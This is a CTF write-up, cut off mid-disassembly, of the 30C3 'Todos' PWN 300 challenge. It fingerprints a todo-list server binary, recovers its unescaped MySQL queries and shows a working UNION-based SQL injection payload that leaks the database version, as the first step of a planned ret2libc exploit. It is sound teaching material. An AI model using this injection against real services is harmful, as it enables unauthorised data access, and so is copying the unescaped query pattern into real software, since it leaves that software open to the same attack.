code hacking, zen coding


30C3 CTF – PWN 300 – Todos Write-up : SQL injection + ret2libc

Posted by aXs

$ file server
server: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x61abf52683bfa2cf645da3e96ba84f8cdf4842d2, stripped

$ --file server
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   server

This binary from the awesome and pwn-heavy 30C3 CTF is a todo-list manager with a telnet interface, ELF binary server and MySQL database as a storage backend.

Sample session:

$ nc -v 1234
Connection to 1234 port [tcp/*] succeeded!
Welcome to TTT (the todo tool)!

If you're new, try help

help: Print this help screen
register <user> <pass>: register a new user
login <user> <pass>: Login when you have registered already.
login aXs toto
logged in...
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
add toto
Entry added.
search toto
Found 1 entries, use 'show <num>' to show them.
show 0
0: toto

We can find the queries used by the search command in the binary:

.rodata:00000000000022A0 00000047 C SELECT COUNT(*) FROM todos WHERE user = %lld AND content LIKE '%%%s%%'
.rodata:00000000000022E8 00000046 C SELECT content FROM todos WHERE user = %lld AND content LIKE '%%%s%%'

The first query is used to guess the amount of results. The second query is used to fetch the data.

Absolutely no escaping with mysql_real_escape_string() is done in the binary:

.text:0000000000001B79                 lea     rbx, user_id
.text:0000000000001B80                 mov     rsi, [rbx]
.text:0000000000001B83                 call    do_mysql_query

So we can do sql injections like:

search ' UNION ALL SELECT @@version -- #
Found 1 entries, use 'show <num>' to show them.
show 0
0: 5.5.34-0ubuntu0.13.10.1

This service is running on Ubuntu Saucy 64bit, this will be very useful later when we need to find offsets in the libc.

The result of the first query (SELECT COUNT(*) FROM todos WHERE...) is used to help with memory management. If the amount of results is lower or equal to 10, a fixed table in .data is used. Otherwise some space is allocated on the heap (malloc) and the results are stored there.

.text:0000000000001B9E                 mov     rdi, [r13+